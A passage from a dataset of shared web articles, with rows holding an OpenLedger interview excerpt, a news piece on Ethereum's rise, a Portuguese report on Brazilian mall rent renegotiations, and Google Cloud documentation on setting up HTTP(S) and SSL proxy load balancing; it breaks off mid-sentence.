smart-contracts to establish the terms? How is consensus achieved? RB: Yes, the system uses smart contracts to establish terms of service and reward. The consensus is achieved by third party confirmation that both sides have accomplished their respective tasks, whether it is putting money in escrow, or completing a contract request. BC: What was the approximate payout to the writers and bloggers using the platform? Will this amount increase as the overall platform grows? RB: At the last payment, some 11 BTC worth (currently around $4,500 USD) of BTSR and OBITS was sent to participating bloggers. That amount will increase as the network size and reach of the DC increases. OpenLedger has made it available for users to directly change tokens to USD, EUR, and CNY and have them directly deposited into their bank account. BC: How does the DC model interact with traditional fiat currency? Do users have to use an exchange to cash out their rewards? RB: ""In the same way that foreign currencies or bitcoin need to be exchanged before being used, any DC token will need to be changed to be used outside of the infrastructure. If an organization within the DC offers products or services that are desired, a direct purchase using a token could then be made without any exchange. Now, OpenLedger has made it available for users to directly change tokens to USD, EUR, and CNY and have them directly deposited into their bank account. No longer will a user have to have the hassle of going through an additional step of going to a bitcoin exchange to convert their smart money into fiat. Once a user has been validated he/she is prompted to attempt a withdrawal. Once the withdrawal request is made on OpenLedger for whatever currency is asked, the money is then sent to the user's bank account with a 3% withdrawal fee. Users can enjoy a fee-free deposit period that ends in August. [Note: Special thanks to Larry C. Bates, out of Bloomington, Indiana, the architect behind the great description of the DC, a good partner of OpenLedger and his assistance in giving answer to the questions.] Do you think decentralized conglomerates will change big business around the globe? Let us know your thoughts in the comments below! Images courtesy of OpenLedger, bitcoinwiki.co Editor, Content Creator @Bitcoin.com",en
1459194842,CONTENT SHARED,3353902017498793780,4340306774493623681,8940341205206233829,,,,HTML,https://www.cryptocoinsnews.com/ethereum-rise-growth-new-york-times/,The Rise And Growth of Ethereum Gets Mainstream Coverage,"Ethereum, considered by many to be the most promising altcoin, has grabbed the attention of The New York Times. The ""newspaper of record"" has run a big feature story on Ethereum, noting its value has spiraled 1,000% in the last three months and is attracting interest from major financial companies that are using it for private blockchains and smart contracts. The story notes the first public version of Ethereum was recently released. The story noted there are numerous applications built on Ethereum that allow new ways to place bets, pay bills and even launch Ponzi schemes. Some cryptocurrency observers claim Ethereum will face more security issues than bitcoin due to its more complex software. The alt. currency system has faced less testing and suffered fewer attacks than bitcoin. The unusual design could also invite more regulatory scrutiny considering some potentially fraudulent contracts can be written into the system. Capabilities Draw Interest However, the system's capabilities have drawn interest from major corporations. Last year, IBM announced it was testing the alt.currency system as a way to manage real-world objects in the Internet of Things. Microsoft has been working on various projects that make it easier to use Ethereum on its Azure computing cloud. Marley Gray, a business development and strategy director at Microsoft, said Ethereum is a platform for solving problems in different industries. He called it the most ""elegant"" solution seen to date. Private Blockchains Expand Many companies have created private blockchains using Ethereum. These private blockchains could eventually undermine the value of the Ether, the individual unit in the alt.currency system that people have been buying. Major banks have shown interest in using blockchains to make transferring and trading money more efficient. Several banks have examined how to use Ethereum. JPMorgan has developed a tool called Masala that enables its internal databases to interact with an Ethereum-blockchain. Michael Novogratz, who helped lead Fortress Investing Group invest in bitcoin, has been examining Ethereum since leaving Fortress last fall. He said he has made a significant purchase of Ether. Novogratz said in the last few months that the alt.currency is getting more validation. Ethereum Value Soars Ether's value has increased to as high as $12 from $1 since the beginning of the year, taking the value of all Ether currency to above $1 billion at times. This surpasses the value of any virtual currency besides bitcoin, which claimed more than $6 billion in value last week. Ethereum leads all altcoins in the size of its following One difference between Ethereum and bitcoin is that the latter came into being in a more transparent fashion. Where bitcoin was created by Satoshi Nakamoto, whose identity remains a mystery, Ethereum was developed by Vitalik Buterin , a 21-year-old Russian, who created it after dropping out of Waterloo University in Ontario. Aim Was Smart Contracts Ethereum's basic aim was to make it possible to program agreements into the blockchain. This is the smart contract concept. Two people could, for instance, program a sport bet directly into the Ethereum blockchain. Once a mutually-accepted source announced the final score (such as the Associated Press), the winnings would transfer automatically to the winner. Ether can be used as currency. Ether is also necessary to pay for the network power required to process the bet. Ethereum has been characterized as a single-shared computer operated by the network of users on which resources are doled out and paid for by Ether. Buterin's team raised $18 million through an Ether presale in 2014 to help fund the Ethereum Foundation, which supports the development of the software. Also read: Ether co-founder Vitalik Buterin on public and private blockchains Ethereum's Following Ethereum has attracted followers who have supported the software and hope that Ether will rise in value. There were 5,800 nodes, or computers, last week supporting the network. The bitcoin network had about 7,400 nodes. Joseph Lubin, a co-founder, established ConsenSys, which has hired more than 50 developers to create applications on the alt.currency system. One enables music distribution while another permits a new type of financial auditing. Lubin said he became interested in Ethereum after determining it delivered on some of bitcoin's failed promise, particularly when it came to permitting new types of online markets and contracts. He said Ethereum presented the crystallization of how to deliver on the broad strokes vision that bitcoin presented. Joseph Bonneau, a Stanford computer science researcher, said Ethereum is the first system that caught his interest since bitcoin. Ethereum is nonetheless far from a certainty, Bonneau said. He said bitcoin is still most likely the safest bet, with Ethereum number two. He said Ethereum's longevity will depend on real markets developing around it. Featured image from Shutterstock.",en
1459210504,CONTENT SHARED,-9157338616628196758,5206835909720479405,-7864441319395545950,,,,HTML,http://economia.ig.com.br/2016-03-27/situacao-financeira-ruim-de-varejistas-pressiona-shoppings-e-eleva-renegociacoes.html,Situação financeira ruim de varejistas pressiona shoppings e eleva renegociações - Home - iG,"A queda nas vendas e a deterioração na situação financeira de varejistas têm forçado shoppings a renegociar algumas das obrigações dos lojistas nos custos de ocupação de pontos de venda. O cenário se intensificou para além da negociação de descontos pontuais, com parcelamentos que miram evitar a inadimplência e até mesmo o aumento das taxas de vacância. Arquivo/Agência Brasil Shopping centers estão entre os estabelecimentos que mais contratam no fim de ano O diretor de expansão da varejista Hope, Sylvio Korytowski, relata que muitos shoppings aceitaram congelar o vencimento de parcelas das chamadas ""luvas"", tarifas cobradas de novos locatários para garantir o ""direito"" de utilização de um determinado ponto em um shopping. As quantias, que variam de acordo com a demanda, normalmente são parceladas em 12 ou 24 meses, mas agora lojistas têm conseguido uma espécie de ""perdão temporário"", passando algum tempo sem pagar e conseguindo mais meses para quitar os valores. O preço pode ser negociado entre um lojista que sai do local e um que está chegando, mas geralmente parte do montante é destinada ao operador do shopping. ""Às vezes, quando um shopping vai mal, tem empreendedor que oferece um aluguel quase zerado para o lojista porque, se o espaço fica vago, quem paga o custo de energia, segurança, limpeza e outras coisas do dia a dia é o shopping"", explica um executivo do setor, que preferiu não se identificar. ""Nesse casos, não existe nenhuma possibilidade de o shopping cobrar luvas"", acrescenta. O esforço dos shoppings é impedir que lojas importantes fechem em meio a alta de custos e venda fraca, mas a renegociação também ofusca eventuais riscos de um estouro de inadimplência. A CEO da GS&AGR Consultores, Ana Paula Tozzi, avalia que os efeitos do quadro financeiro ruim dos varejistas ainda não aparecem totalmente nas provisões para inadimplência dos operadores de shopping, mas considera que muitos lojistas estão em dificuldade para pagar obrigações e pedindo refinanciamentos e renegociações. Fato é que a inadimplência tem aumentado em alguns centros de compras. Nos empreendimentos da BRMalls, a expectativa é que a taxa tenha um ""aumento pequeno"" no primeiro trimestre em comparação com igual intervalo do ano passado, quando estava em 4,4%. Já os atrasos superiores a 25 dias no pagamento de alugueis nos shopping centers da Multiplan subiram para 1,9% no quarto trimestre de 2015, de 1,7% em igual período do ano anterior. No mesmo período, a taxa de perda de aluguel aumentou para 1,2%, de 0,6%. O momento de enfraquecimento das vendas tem levado algumas lojas a dificuldades financeiras e, em alguns casos, culminado em processos de recuperação judicial. É o que ocorreu com o grupo GEP, dono das marcas Luigi Bertolli, Cori e franqueado da marca norte-americana GAP no Brasil. O grupo, que opera 97 lojas no Brasil, a maioria em shoppings, afirmou no pedido de recuperação judicial que ""o volume de vendas diminuiu consideravelmente"" em meio a crise macroeconômica. Varejistas relatam ainda que concessões estão sendo feitas mesmo em shoppings considerados ""de primeira linha"", ou seja, os que têm maior fluxo de clientes. Um exemplo citado por representantes de grandes redes do varejo é o da Iguatemi. Segundo eles, a companhia está concedendo descontos em shoppings da capital paulista em troca de impedir que as redes fechem lojas em centros comerciais da grande São Paulo e interior, os quais os varejistas veem com menos interesse. Ao Broadcast, serviço em tempo real da Agência Estaado, a diretora financeira e de relações com investidores da Iguatemi, Cristina Betts, diz que não há uma política única em relação aos descontos. ""Depende muito dos grupos de varejo de que estamos falando e dos locais onde temos lojas com eles. Não dá para dizer que existe uma lógica apenas"", afirma. Por ter concedido mais descontos, a companhia conseguiu reduzir sua taxa de inadimplência para 1,1% no quarto trimestre de 2015, saindo de 1 8% em igual período do ano anterior. ""Tivemos em 2015 um esforço de antecipar movimentos de descontos, principalmente em shoppings em maturação"", diz. ""Preferimos que o lojista fique bem e sobreviva, diminuindo a inadimplência. Houve um aumento de desconto em 2015, mas esperamos que fique estável em 2016"", acrescenta. Para Korytowski, o desafio das negociações hoje é que há uma massa muito grande de lojistas em dificuldades e pedindo ajuda. Isso torna difícil a tarefa do shopping de identificar quem de fato pode sobreviver com algum tipo de renegociação, já que em alguns casos isso não é suficiente para evitar o fechamento das lojas. ""No cenário atual, todo mundo pede ajuda, quem precisa e quem não precisa. Faz parte do nosso trabalho identificar quem precisa e quem queremos dentro dos shoppings. Não adianta tentar ajudar um lojista que não tem futuro"", afirma a diretora do Iguatemi, ao lembrar o fechamento da Nôa Nôa no Iguatemi São Paulo, em 2008, que abriu espaço para a chegada da Channel. ""Em épocas de mais dificuldades, tem um movimento mais acelerado de substituição de marcas que não mostram um desempenho tão bom. São poucas as marcas eternas"", acrescenta. Veja fotos dos Mall of the World, o maior shopping do mundo",pt
1459217624,CONTENT SHARED,1805789466376069146,-1032019229384696495,3042342415047984532,,,,HTML,https://cloud.google.com/compute/docs/load-balancing/http/,Setting Up HTTP(S) Load Balancing,"HTTP(S) load balancing provides global load balancing for HTTP(S) requests destined for your instances. You can configure URL rules that route some URLs to one set of instances and route other URLs to other instances. Requests are always routed to the instance group that is closest to the user, provided that group has enough capacity and is appropriate for the request. If the closest group does not have enough capacity, the request is sent to the closest group that does have capacity. HTTP requests can be load balanced based on port 80 or port 8080. HTTPS requests can be load balanced on port 443. The load balancer acts as an HTTP/2 to HTTP/1.1 translation layer, which means that the web servers always see and respond to HTTP/1.1 requests, but that requests from the browser can be HTTP/1.0, HTTP/1.1, or HTTP/2. HTTP(S) load balancing does not support WebSocket. You can use WebSocket traffic with Network load balancing . Contents Before you begin HTTP(S) load balancing uses instance groups to organize instances. Make sure you are familiar with instance groups before you use load balancing. Fundamentals Overview An HTTP(S) load balancer is composed of several components. The following diagram illustrates the architecture of a complete HTTP(S) load balancer: The following sections describe how each component works together to make up each type of load balancer. For a detailed description of each component, see Components below. HTTP load balancing A complete HTTP load balancer is structured as follows: A global forwarding rule directs incoming requests to a target HTTP proxy . The target HTTP proxy checks each request against a URL map to determine the appropriate backend service for the request. The backend service directs each request to an appropriate backend based on serving capacity, zone, and instance health of its attached backends. The health of each backend instance is verified using either an HTTP health check or an HTTPS health check. If the backend service is configured to use the latter, the request will be encrypted on its way to the backend instance. In addition, you must create a firewall rule to enable traffic to your HTTP load balancer. The rule should enable traffic on the port your global forwarding rule has been configured to use (either 80 or 8080). HTTPS load balancing An HTTPS load balancer shares the same basic structure as an HTTP load balancer (described above), but differs in the following ways: Uses a target HTTPS proxy instead of a target HTTP proxy Requires a signed SSL certificate for the load balancer Requires a firewall rule that enables traffic on port 443 The client SSL session terminates at the load balancer. Sessions between the load balancer and the instance can either be HTTPS (recommended) or HTTP. If HTTPS, each instance must have a certificate. Components Global forwarding rules and addresses Global forwarding rules route traffic by IP address, port, and protocol to a load balancing configuration consisting of a target proxy, URL map, and one or more backend services. Each global forwarding rule provides a single global IP address that can be used in DNS records for your application. No DNS-based load balancing is required. You can either specify the IP address to be used or let Google Compute Engine assign one for you. Target proxies Target proxies terminate HTTP(S) connections from clients, and are referenced by one or more global forwarding rules and route the incoming requests to a URL map. The proxies set HTTP request/response headers as follows: Via: 1.1 google (requests and responses) X-Forwarded-Proto: [http | https] (requests only) X-Forwarded-For: <client IP(s)>, <global forwarding rule external IP> (requests only) Can be a comma-separated list of IP addresses depending on the X-Forwarded-For entries appended by the intermediaries the client is traveling through. The first element in the <client IP(s)> section shows the origin address. X-Cloud-Trace-Context: <trace-id>/<span-id>;<trace-options> (requests only) Parameters for Stackdriver Trace . URL maps URL maps define matching patterns for URL-based routing of requests to the appropriate backend services. A default service is defined to handle any requests that do not match a specified host rule or path matching rule. In some situations, such as the cross-region load balancing example , you might not define any URL rules and rely only on the default service. For content-based routing of traffic, the URL map allows you to divide your traffic by examining the URL components to send requests to different sets of backends. SSL certificates SSL certificates are used by target HTTPS proxies to securely route incoming HTTPS requests to backend services defined in a URL map. Backend services Backend services direct incoming traffic to one or more attached backends. Each backend is composed of an instance group and additional serving capacity metadata. Backend serving capacity can be based on CPU or requests per second (RPS) . Each backend service also specifies which health checks will be performed against the available instances. HTTP(S) load balancing supports Compute Engine Autoscaler , which allows users to perform autoscaling on the instance groups in a backend service. For more information, see Scaling Based on HTTP load balancing serving capacity . Load distribution algorithm HTTP(S) load balancing provides two methods of determining instance load. Within the backend service object, the balancingMode property selects between the requests per second (RPS) and CPU utilization modes. Both modes allow a maximum value to be specified; the HTTP load balancer will try to ensure that load remains under the limit, but short bursts above the limit can occur during failover or load spike events. Incoming requests are sent to the region closest to the user that has remaining capacity. If more than one zone is configured with backends in a region, the traffic is distributed across the instance groups in each zone according to each group's capacity. Within the zone, the requests are spread evenly over the instances using a round-robin algorithm. Round-robin distribution can be overridden by configuring session affinity . Session affinity Alpha This is an Alpha release of HTTP(S) Load Balancing Session Affinity. This feature might be changed in backward-incompatible ways and is not recommended for production use. It is not subject to any SLA or deprecation policy. Request to be whitelisted to use this feature . Session affinity sends all request from the same client to the same virtual machine instance as long as the instance stays healthy and has capacity. Google Cloud HTTP(S) Load Balancing offers two types of session affinity: Interfaces Your HTTP(S) load balancing service can be configured and updated through the following interfaces: The gcloud tool : gcloud is a command-line tool included in the Cloud SDK . The HTTP(S) load balancing documentation calls on this tool frequently to accomplish tasks. For a complete overview of gcloud documentation, see the gcloud Tool Guide . You can find commands related to load balancing in the gcloud compute and gcloud preview command groups. You can also get detailed help for any gcloud command by using the --help flag: gcloud compute http-health-checks create --help The Google Cloud Platform Console : Load balancing tasks can be accomplished through the Google Cloud Platform Console . The REST API : All load balancing tasks can be accomplished using the Google Compute Engine API. The API reference docs describe the resources and methods available to you. TLS support A HTTPS target proxy accepts only TLS 1.0 and up when terminating client SSL requests. It speaks only TLS 1.0 and up to the backend service when the backend protocol is HTTPS. Logging Alpha This is an Alpha release of Google Cloud HTTP(S) Load Balancing Logging. This feature might be changed in backward-incompatible ways and is not recommended for production use. It is not subject to any SLA or deprecation policy. Request to be whitelisted to use this feature . Each HTTP(S) request is logged via Google Cloud Logging . If you have been accepted into the Alpha testing phase, logging is automatic and does not need to be enabled. How to view logs To view logs, go to the Logs Viewer in the Cloud Platform Console. HTTP(S) logs are indexed first by forwarding rule , then by URL map . To see all logs, in the first pull-down menu select Load Balancing > All forwarding rules . To see logs for just one forwarding rule, select a single forwarding rule name from the list. To see logs for just one URL map used by a forwarding rule, select Load Balancing and choose the forwarding rule and URL map of interest. What is logged In addition to general information contained in most logs, such as severity, project ID, project number, and timestamp, HTTP(S) load balancing logs contain HttpRequest log fields. Log fields of type boolean typically only appear if they have a value of true . If a boolean field has a value of false , that field is omitted from the log. UTF-8 encoding is enforced for these fields. Characters that are not UTF-8 characters are replaced with question marks. Next steps The following guides demonstrate two different scenarios using the HTTP(S) load balancing service. These scenarios provide a practical context for HTTP(S) load balancing and demonstrate how you might set up load balancing for your specific needs. Cross-region load balancing You can use a global IP address that can intelligently route users based on proximity. For example, if you set up instances in North America, Europe, and Asia, users around the world will be automatically sent to the backends closest to them, assuming those instances have enough capacity. If the closest instances do not have enough capacity, cross-region load balancing automatically forwards users to the next closest region. Get started with cross-region load balancing Content-based load balancing Content-based or content-aware load balancing uses HTTP(S) load balancing to distribute traffic to different instances based on the incoming HTTP(S) URL. For example, you can set up some instances to handle your video content and another set to handle everything else. You can configure your load balancer to direct traffic for example.com/video to the video servers and example.com/ to the default servers. Get started with content-based load balancing Content-based and cross-region load-balancing can work together by using multiple backend services and multiple regions. You can build on top of the scenarios above to configure your own load balancing configuration that meets your needs. Notes and Restrictions HTTP(S) load balancing does not support HTTP/1.1 100 Continue response. This might affect multipart POST. The load balancing configuration automatically creates firewall rules if the instance operating system is a Compute Engine image. If not, you have to create the firewall rules manually. Load balancing does not keep instances in sync. You must set up your own mechanisms, such as using Deployment Manager , for ensuring that your instances have consistent configurations and data. Troubleshooting Traffic from the load balancer to your instances has an IP address in the range of 130.211.0.0/22. When viewing logs on your load balanced instances, you will not see the source address of the original client. Instead, you will see source addresses from this range.",en
1459217735,CONTENT SHARED,-2081760549863309770,-1032019229384696495,3042342415047984532,,,,HTML,https://cloud.google.com/compute/docs/load-balancing/tcp-ssl/,Setting Up SSL proxy for Google Cloud Load Balancing,"Alpha This is an Alpha release of Setting Up SSL proxy for Google Cloud Load Balancing. This feature might be changed in backward-incompatible ways and is not recommended for production use. It is not subject to any SLA or deprecation policy. Request to be whitelisted to use this feature . Google Cloud SSL proxy terminates user SSL (TLS) connections at the global load balancing layer, then balances the connections across your instances via SSL or TCP. Cloud SSL proxy is intended for non-HTTP(S) traffic. For HTTP(S) traffic, HTTP(S) load balancing is recommended instead. Contents Google Cloud Load Balancing with SSL proxy Setting up SSL load balancing Configure instance groups and backend services Configure frontend services Additional Commands Listing target SSL proxies Describe target SSL proxies Delete target SSL proxy Update a backend service for the target SSL proxy Update the SSL certificates for the target SSL proxy Update PROXY protocol header for the proxy PROXY protocol for retaining client connection information Recommendations Troubleshooting Pages fail to load from load balancer IP Alpha Limitations FAQ When should I use HTTPS load balancing instead of SSL proxy load balancing? Can I view the original IP address of the connection to the global load balancing layer? Overview We are excited to introduce SSL (TLS) proxying for your SSL traffic. With SSL proxy, you can terminate your customers' SSL sessions at the global load balancing layer, then forward the traffic to your virtual machine instances using SSL (recommended) or TCP. SSL proxy is a global load balancing service. You can deploy your instances in multiple regions, and global load balancing will automatically direct traffic to the region closest to the user. If a region is at capacity, the load balancer automatically directs new connections to another region with available capacity. Existing user connections to remain in the current region. We recommend use of end-to-end encryption for your SSL proxy deployment by configuring your backend service to accept traffic over SSL ( backend-services --protocol SSL ). This ensures that the client traffic decrypted at the SSL proxy layer is encrypted again before being sent to the backend instances. This end-to-end encryption requires you to provision certificates and keys on your instances so they can perform SSL processing. The advantages of managed SSL proxy are as follows: Intelligent routing - the load balancer can route requests to backend locations where there is capacity. In contrast, an L3/L4 load balancer must route to regional backends without paying attention to capacity. Use of smarter routing allows provisioning at N+1 or N+2 instead of x*N. Better utilization of the back-end servers - SSL processing can be very CPU intensive if the ciphers used are not CPU efficient. In order to maximize CPU performance, use ECDSA SSL certs,TLS1.2 and prefer the ECDHE-ECDSA-AES128-GCM-SHA256 cipher suite for SSL between the load balancer and your instances. Certificate management - You only need to update your customer facing certificate in one place when you need to switch certs. You can also reduce the management overhead for your instances by using self-signed certificates. Security patching - If vulnerabilities arise in the SSL or TCP stack, we will apply patches at the load balancer automatically in order to keep your instances safe. Notes: While choosing to send the traffic over unencrypted TCP ( backend-services --protocol TCP ) between the global load balancing layer and instances enables you to manage your SSL certificates at one place and offload SSL processing from your instances, it also comes with reduced security between your global load balancing layer and instances and is therefore not recommended. SSL proxy can handle HTTPS, but this is not recommended. You should instead use HTTP(S) load balancing for HTTPS traffic. See the FAQ for details. We now describe how SSL proxy works and walk you through configuring an SSL proxy for load balancing traffic to some instances. Google Cloud Load Balancing with SSL proxy With SSL proxy at the global load balancing layer, traffic coming over an SSL connection is terminated at the global layer then proxied to the closest available instance group. In this example, the traffic from the users in Iowa and Boston is terminated at the global load balancing layer, and a separate connection is established to the selected backend instance. Google Cloud Load Balancing with SSL termination (click to enlarge) Setting up SSL load balancing This example demonstrates setting up global SSL load balancing for a simple service that exists in two regions: us-central1 and us-east1 . We will configure the following: Instance groups for holding the instances A pair of instances for each instance group A health check for verifying instance health A backend service, which monitors instances in groups and prevents them from exceeding configured usage The SSL proxy itself with its SSL certificate A public static IP address and forwarding rule that sends user traffic to the proxy A firewall rule for the load balancer IP address After that, we'll test our configuration. Configure instance groups and backend services This section shows how to create simple instance groups, add instances to them, then add those instances to a backend service with a health check. A production system would normally use managed instance groups based on instance templates , but this setup is quicker for initial testing. Backend configuration (click to enlarge) Create an instance group for each zone gcloud compute instance-groups unmanaged create us-ig1 --zone us-central1-b Created [ [PROJECT_ID]/zones/us-central1-b/instanceGroups/us-ig1]. NAME ZONE NETWORK MANAGED INSTANCES us-ig1 us-central1-b 0 gcloud compute instance-groups unmanaged create us-ig2 --zone us-east1-b Created [ [PROJECT_ID]/zones/us-east1-b/instanceGroups/us-ig2]. NAME ZONE NETWORK MANAGED INSTANCES us-ig2 us-east1-b 0 Create two instances in each zone For testing purposes, we'll install Apache on each instance. Normally, you wouldn't use SSL load balancing for HTTP traffic, but Apache is commonly used and is easy to set up for testing. These instance are all being created with a tag of ssl-lb . This tag is used later by the firewall rule. Add instances to the instance groups Add ig-us-central1-1 and ig-us-central1-2 to us-ig1 gcloud compute instance-groups unmanaged add-instances us-ig1 \ --instances ig-us-central1-1,ig-us-central1-2 \ --zone us-central1-b Updated [ [PROJECT_ID]/zones/us-central1-b/instanceGroups/us-ig1]. Add ig-us-east1-1 and ig-us-east1-2 to us-ig2 gcloud compute instance-groups unmanaged add-instances us-ig2 \ --instances ig-us-east1-1,ig-us-east1-2 \ --zone us-east1-b Updated [ [PROJECT_ID]/zones/us-east1-b/instanceGroups/us-ig2]. You now have an instance group in two different regions, each with two instances. When we create a backend service, we have to specify a health check, so we'll create the health check next. Create a health check You can configure either an SSL or TCP health check for determining the health of your instances. If you are using SSL between the load balancer and the instances, use an SSL health check. If you are using plain TCP between the load balancer and the instances, use a TCP health check. Once configured, health checks are sent on a regular basis to the specified port on all the instances in the configured instance groups. If the health check fails, the instance is marked as UNHEALTHY and the load balancer stops sending new connections to that instance until the instance becomes healthy again. Existing connections are allowed to continue. In this example, we're creating a simple SSL health check that we'll use with our backend service. This health check does a simple SSL handshake with each instance on port 443 to determine health. If the handshake succeeds twice in a row (the default), the new instance is marked HEALTHY . If the handshake fails twice in a row (the default) on a HEALTHY instance, the instance is marked UNHEALTHY . If the handshake is again successful twice in a row, the instance is marked as HEALTHY again. See the Health checks section for more information and options. gcloud alpha compute health-checks create ssl my-ssl-health-check --port 443 Created [ [PROJECT_ID]/global/healthChecks/my-ssl-health-check]. NAME PROTOCOL my-ssl-health-check SSL Create a backend service A backend service defines the capacity, max utilization, and health check of the instance groups it contains. Backend services direct incoming traffic to one or more attached backends (depending on the load balancing mode, discussed later). Each backend consists of an instance group and additional configuration to balance traffic among the instances in the instance group. Each instance group is composed of one or more instances. Each backend service also specifies which health checks will be performed for the instances in an all the instance groups added to the backend service. The duration of idle SSL proxy connections through the load balancer is limited by the backend service timeout. In this example we'll add a backend service that connects to instances over SSL. This only governs connections between the load balancer and the instance, not the connections between users and the load balancer. gcloud alpha compute backend-services create my-backend-service \ --protocol SSL \ --health-check my-ssl-health-check \ --timeout 5m Created [ [PROJECT_ID]/global/backendServices/my-backend-service]. NAME BACKENDS PROTOCOL my-backend-service SSL Alternatively you could configure unencrypted communication between from the load balancer to the instances with --protocol TCP . Configure your backend service When you configure a backend service, you must add instance groups and specify a balancing mode that determines how much traffic the load balancer can send to instances in each instance group. Once the limit is reached for a particular instance group, additional requests are sent to an instance group that is next closest to the user, as long as it has capacity. SSL proxy supports the following balancing mode: UTILIZATION (default): instances can accept traffic as long as the average current CPU utilization of the instance group is below an indicated value. To set this value, use the --max-utilization parameter and pass a value between 0.0 (0%) and 1.0 (100%). Default is 0.8 (80%). For this example, we'll add both instance groups to the same backend service and set the balancing mode to send traffic to instance groups that have not reached 80% utilization. gcloud alpha compute backend-services add-backend my-backend-service \ --instance-group us-ig1 \ --zone us-central1-b \ --balancing-mode UTILIZATION \ --max-utilization 0.8 Updated [ [PROJECT_ID]/global/backendServices/my-backend-service]. gcloud alpha compute backend-services add-backend my-backend-service \ --instance-group us-ig2 \ --zone us-east1-b \ --balancing-mode UTILIZATION \ --max-utilization 0.8 Updated [ [PROJECT_ID]/global/backendServices/my-backend-service]. Configure frontend services This section shows how to create the following frontend resources: an SslCertificate resource to use with the load balancer an SSL proxy load balancer a static external IP address and a forwarding rule to use with that address a firewall rule that allows traffic from the load balancer and the health checker to reach the instances Frontend configuration (click to enlarge) Configure an SSL certificate and key If you don't have a private key and signed certificate, you can create and use a self-signed certificate for testing purposes, or get real certificate from an authority. See SSL Certificates for further information. You should not use a self-signed certificate on the load balancer for production purposes. This step takes your certificate and key and creates an SSL certificate resource that you will assign to your SSL proxy in the next step. gcloud compute ssl-certificates create my-ssl-cert \ --certificate [CRT_FILE_PATH] \ --private-key [KEY_FILE_PATH] Created [ [PROJECT_ID]/global/sslCertificates/ssl-cert1]. NAME CREATION_TIMESTAMP ssl-cert1 2016-02-20T20:53:33.584-08:00 Configure a target SSL proxy The target SSL proxy receives the packets from the user and sends them to the backend service. When you create the target SSL proxy, you associate your backend service and SSL certificate with that resource. If you want to enable insertion of PROXY protocol version 1 header, you can configure the command above with --proxy-header PROXY_V1 . For more information on PROXY protocol, see Update proxy protocol header for the proxy . gcloud alpha compute target-ssl-proxies create my-target-ssl-proxy \ --backend-service my-backend-service \ --ssl-certificate my-ssl-cert \ --proxy-header NONE Created [ [PROJECT_ID]/global/targetSslProxies/my-target-ssl-proxy]. NAME PROXY_HEADER SERVICE SSL_CERTIFICATES my-target-ssl-proxy NONE my-backend-service ssl-cert1 Reserve a global static IP address Now we need to create a global reserved static IP address for your service. This IP address is the one your customers will use to access your load balanced service. gcloud compute addresses create ssl-lb-static-ip --global Created [ [PROJECT_ID]/global/addresses/ssl-lb-static-ip]. NAME REGION ADDRESS STATUS ssl-lb-static-ip [LB_STATIC_IP] RESERVED Configure a global forwarding rule Create a global forwarding rule to forward specific IPs and ports to the target SSL proxy. When customer traffic arrives at your external IP address, this forwarding rule tells the network to send that traffic to your SSL proxy. To create a global forwarding rule associated with the target proxy, replace LB_STATIC_IP with the IP address you generated in the prior step. gcloud alpha compute forwarding-rules create my-global-forwarding-rule \ --global \ --target-ssl-proxy my-target-ssl-proxy \ --address [LB_STATIC_IP] \ --port-range 443 Created [ [PROJECT_ID]/global/forwardingRules/my-global-forwarding-rule]. NAME REGION IP_ADDRESS IP_PROTOCOL TARGET my-global-forwarding-rule [LB_STATIC_IP] TCP my-target-ssl-proxy Create a firewall rule for the SSL load balancer Configure the firewall to allow traffic from the load balancer and health checker to the instances. gcloud compute firewall-rules create allow-ssl-130-211-0-0-22 \ --source-ranges 130.211.0.0/22 \ --target-tags ssl-lb \ --allow tcp:443 Created [ [PROJECT_ID]/global/firewalls/allow-ssl-130-211-0-0-22]. NAME NETWORK SRC_RANGES RULES SRC_TAGS TARGET_TAGS allow-ssl-130-211-0-0-22 default 130.211.0.0/22 tcp:443 ssl-lb Test your load balancer In your web browser, connect to your static IP address via HTTPS. In this test setup, the instances are using self-signed certificates. Therefore, you will see a warning in your browser the first time you access a page. Click through the warning to see the actual page. You should see one of the hosts from the region closest to you. Reload the page until you see the other instance in that region. To see instances from the other region, either stop the instances in the closest region or disable Apache on those instances. Alternatively, you can use curl from the your local machine's command line. If you are using a self-signed certificate on the SSL proxy, you must also specify -k . curl -k [LB_STATIC_IP] Additional Commands Listing target SSL proxies gcloud alpha compute target-ssl-proxies list NAME PROXY_HEADER SERVICE SSL_CERTIFICATES my-target-ssl-proxy NONE my-backend-service ssl-cert1 Describe target SSL proxies gcloud alpha compute target-ssl-proxies describe my-target-ssl-proxy creationTimestamp: '2016-02-20T20:55:17.633-08:00' id: '9208913598676794842' kind: compute#targetSslProxy name: my-target-ssl-proxy proxyHeader: NONE selfLink: [PROJECT_ID]/global/targetSslProxies/my-target-ssl-proxy service: [PROJECT_ID]/global/backendServices/my-backend-service sslCertificates: - [PROJECT_ID]/global/sslCertificates/ssl-cert1 Delete target SSL proxy To delete a target proxy, you must first delete any global forwarding rules that reference it. You can use the update command to point your SSL proxy at a different backend service. In this example, we'll create a new backend service and point the proxy at it. We'll then point back to the original proxy. Use this command to replace the SSL certificate on the SSL proxy. You must already have created a second SSL certificate resource. gcloud alpha compute target-ssl-proxies update my-target-ssl-proxy \ --ssl-certificate ssl-cert2 Updated [ [PROJECT_ID]/global/targetSslProxies/my-target-ssl-proxy]. Use this command to change the PROXY protocol header for an existing target SSL proxy. gcloud alpha compute target-ssl-proxies update my-target-ssl-proxy \ --proxy-header [NONE | PROXY_V1] Updated [ [PROJECT_ID]/global/targetSslProxies/my-target-ssl-proxy]. PROXY protocol for retaining client connection information Google Cloud Load Balancing with SSL proxy terminates SSL connections from the client and creates new connections to the instances, hence the original client IP and port information is not preserved by default. If you would like to preserve and send this information to your instances, then you will need to enable PROXY protocol (version 1) where an additional header containing the original connection information including source IP address, destination IP address, and port numbers is added and sent to the instance as a part of the request. The PROXY protocol header will typically be a single line of user-readable text with the following format: PROXY TCP4 <client IP> <load balancing IP> <source port> <dest port>\r\n An example of the PROXY protocol is show below: PROXY TCP4 192.0.2.1 198.51.100.1 15221 443\r\n Where client IP is 192.0.2.1 , load balancing IP is 198.51.100.1 , client port is 15221 and the destination port is 443 . In cases where the client IP is not known, the load balancer will generate a PROXY protocol header in the following format: PROXY UNKNOWN\r\n Health checks Health checks determine which instances can receive new connections. The health checker polls instances at specified intervals. Instances that fail the check are marked as UNHEALTHY . However, the health checker continues to poll unhealthy instances. If an instance passes its health check, it is marked HEALTHY . You can configure either an SSL or TCP health check to determine the health of your backend instances. If you are using SSL between the load balancer and the instances, use an SSL health check. If you are using plain TCP between the load balancer and the instances, use a TCP health check. Once configured, health checks will be sent on a regular basis on the specified port to all the instances in the configured 